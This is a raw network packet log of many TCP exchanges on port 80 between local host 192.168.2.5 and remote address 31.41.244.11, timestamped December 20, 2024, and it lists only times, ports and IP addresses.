Dec 20, 2024 16:08:20.871351957 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.872212887 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.872260094 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.875370026 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.875384092 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.875443935 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.877039909 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.877053022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.877094984 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.880652905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.880666018 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.880714893 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.884021997 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.884035110 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.884077072 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.885776043 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.885787964 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.885829926 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.885845900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.888617039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.888664961 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.889570951 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.889615059 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.891369104 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.891381979 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.891417980 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.891448975 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.894208908 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.894222021 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.894251108 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.894278049 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.896975994 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.897032022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.898026943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.898062944 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.899960995 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.899974108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.900007010 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.900027037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.902754068 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.902798891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.903539896 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.903592110 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.904915094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.904958963 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.905881882 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.905924082 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.908663988 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.908677101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.908716917 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.908735037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.910516977 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.910528898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.910610914 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.911560059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.911572933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.911613941 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.911648035 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.912350893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.912364006 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.912374020 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.912395954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.912424088 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.912424088 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.913362026 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.913373947 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.913402081 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.913418055 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.914254904 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.914268017 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.914294004 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.914314032 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.915195942 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.915208101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.915246010 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.916101933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.916115046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.916147947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.916162968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.917041063 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.917053938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.917064905 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.917083025 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.917105913 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.918000937 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.918015003 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.918046951 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.918073893 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.918911934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.918924093 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.918952942 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.918991089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.919862986 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.919874907 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.919909954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.920794010 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.920805931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.920818090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.920835018 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.920852900 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.921725988 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.921736956 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.921763897 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.921797037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.922646046 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.922658920 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.922693014 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.923669100 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.923680067 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.923691988 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:20.923713923 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:20.923731089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.020673037 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.020741940 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.020828009 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.020873070 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.021112919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.021156073 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.021357059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.021399975 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.022286892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.022335052 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.022629976 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.022667885 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.023710966 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.023766994 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.024023056 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.024066925 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.024307013 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.024348021 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.024507999 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.024550915 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.025511980 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.025562048 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.025954008 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.025988102 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.026917934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.026968956 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.027046919 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.027089119 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.028011084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.028068066 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.028233051 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.028278112 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.029217005 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.029263020 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.030050039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.030096054 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.030313015 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.030364037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.030616045 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.030658960 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.031562090 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.031606913 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.031765938 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.031806946 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.032783985 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.032828093 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.033013105 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.033051968 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.033962965 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.034008980 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.034451008 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.034501076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.036041975 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.036055088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.036087990 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.036112070 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.036897898 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.036911011 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.036942959 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.036993980 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.039958954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.040015936 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.040874004 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.040920973 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.161451101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.161468029 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.161509037 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.161545038 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.280142069 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.280200005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.280930042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.280942917 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.280972004 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.280997992 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.399940014 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.399961948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.400005102 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.400044918 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.400331020 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.400373936 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.403608084 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.403624058 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.403687954 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.407322884 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.407473087 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.408337116 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.408384085 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.410600901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.410654068 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.411885023 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.411927938 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.415378094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.415390968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.415445089 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.417624950 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.417637110 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.417665005 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.417701006 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.421694040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.421781063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.422841072 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.422888994 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.426440954 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.426460028 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.426489115 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.426522970 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.428693056 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.428705931 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.428755045 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.433337927 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.433351040 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.433377981 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.433403015 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.435853004 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.435866117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.435897112 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.435931921 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.439210892 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.439256907 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.440345049 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.440383911 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.442687988 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.442701101 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.442735910 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.442763090 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.446204901 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.446258068 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.447357893 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.447402000 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.450730085 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.450742960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.450793028 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.454297066 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.454351902 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.454953909 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.454997063 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.457302094 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.457314968 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.457366943 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.460823059 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.460875988 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.461981058 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.462028027 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.464283943 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.464296103 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.464343071 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.467902899 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.467963934 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.468993902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.469041109 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.470149994 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.470163107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.470221043 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.471295118 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.471307039 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.471350908 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.471379995 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.472453117 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.472465992 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.472496986 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.472511053 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.473733902 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.473747015 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.473779917 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.473793030 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.474200964 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.474220037 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.474248886 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.474261999 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.475441933 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.475461960 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.475487947 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.475502014 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.476567984 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.476583004 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.476608038 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.476624012 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.477720022 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.477765083 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.477777004 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.477802038 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.478869915 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.478884935 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.478895903 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.478914022 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.478933096 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.480052948 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.480065107 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.480102062 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.480128050 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.481256962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.481267929 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.481303930 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.481347084 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.482352972 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.482394934 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.482395887 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.482430935 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.483632088 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.483644962 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.483656883 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.483679056 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.483697891 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.484726906 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.484741926 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.484777927 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.484802008 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.488190889 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.488204002 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.488214970 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.488269091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.488269091 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.489379883 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.489392042 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.489419937 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.489435911 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.490551949 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.490564108 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.490577936 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.490592957 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.490611076 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.490628958 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.491714001 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.491725922 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.491755962 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.491774082 CET	49965	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:21.492860079 CET	80	49965	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:21.492871046 CET	80	49965	31.41.244.11	192.168.2.5
